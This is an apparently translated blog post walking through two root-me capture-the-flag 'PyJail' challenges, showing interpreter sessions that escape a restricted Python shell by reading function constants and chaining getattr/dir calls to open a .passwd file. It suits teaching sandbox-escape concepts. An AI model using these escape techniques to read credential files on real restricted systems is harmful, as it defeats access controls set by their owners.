📜 ⬆️ ⬇️

Interesting features of Python, which you could not guess

Greetings to you% username%. After reading the article on ways to circumvent sudo , I also decided to try to describe something similar, but for the Python language . Thank you root-me for such puzzles. Solving them, you can learn a lot about the work of a mechanism. Please do not judge strictly, this is my first creation.
Let's start!

PyJail 1


After connecting, we see such a greeting, and a small description:



The point is this: we got into a limited version of the Python interpreter, we need to either exit it, or get the contents of the .passwd file in the same directory. Nothing complicated, just need to exit the interpreter. Let's try to do it:
')
>>> exit() TypeError : exit() takes exactly 1 argument (0 given) >>> exit('exit') Denied >>> exit(0) You cannot escape ! 

Found out that the exit function requires 1 parameter to be checked with something, and in case of failure it returns You cannot escape! . It was also determined that the use of string literals is prohibited. By simple enumeration, we determine the list of prohibited functions:

 >>> __import__ Denied >>> name Denied >>> locals Denied >>> globals Denied >>> eval Denied >>> import Denied >>> __ Denied >>> system Denied 

With this sorted out, it remains to find out what actions are allowed to perform. Let's try print :

 >>> print 123 123 

It works. The creation of variables and functions is also available:

 >>> a=[1] >>> print a [1] >>> def ls(): print(1) >>> ls() 1 

What about the properties of the object?

 >>> a.append(10) >>> print a [1, 10] 

They are also available. In Python, almost everything is an object, including functions. More details about how to work with a function as with an object can be found here .

Now let's go to the final part, try to see the list of constants that are declared in the only available function exit () :

 >>> print(exit.func_code.co_consts) (None, 'flag-WQ0dSFrab3LGADS1ypA1', -1, 'cat .passwd', 'You cannot escape !') 

From the information received, you can figuratively restore the logic of the function:

 def exit(txt): if txt == 'flag-WQ0dSFrab3LGADS1ypA1': os.system('cat .passwd') else: print('You cannot escape !') 

Let's check this guess:

 >>> x = exit.func_code.co_consts[1] >>> print(x) flag-WQ0dSFrab3LGADS1ypA1 >>> exit(x) Well done flag : XXXXXXXXXXXXXXXXXXXXXXX 

Yes, it works. Thus, we can not only see the list of used variables, but also get the bytecode of this function, which, after simple decompilation, can be restored even with errors.

PyJail 2




The second part of. By tradition, we, as always, need to get the contents of the .passwd file. Let's get started Let's try the same technique that was used in the first part:

 >>> print(getout.func_code.co_consts) You are in jail dude ... Did you expect to have the key ? 

Let's try differently. First, check if the dir command is available?

 >>> dir() >>> a=[] >>> dir(a) NameError: name 'dir(a)' is not defined >>> print(dir()) ['__builtins__', 'command', 'getout'] 

Yes, it works, but so far at this stage it is not very useful. After checking the remaining functions from the list , we find that we can use another function:

 >>> print(getattr) <built-in function getattr> 

What does this give? From the documentation we know the following:
Return the value of the named attribute of object. name must be a string. There is no need for an attribute. For example, getattr (x, 'foobar') is equivalent to x.foobar. AttributeError is raised.

The function accepts an object, finds a method in it and returns it. Let's see what methods getout has :
 >>> print dir(getout) ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] 

Great, acting by analogy as it was in PyJail1, we first recognize the list of functions used in getout :

 >>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; print(mds) ('passwd', 'os', 'system', 'sys', 'exit') 

Now we get the list of constants:

 >>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25]); print(prm) (' check if arg is equal to the random password ', 'Well done ! Here is your so desired flag : ', 'cat .passwd', 'Hum ... no.', None) 

It remains to execute system ('cat .passwd') and get a password to complete the task.

 >>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; splt=getattr(prm, dir(prm)[62]); f=open(splt(prm[3])[1]); rd=getattr(f, dir(f)[29]); rrd=rd(); print(rrd) 

This is not a tricky way using Python , we have the opportunity to do one action in many different ways. That's all for now.

Source: https://habr.com/ru/post/322360/


All Articles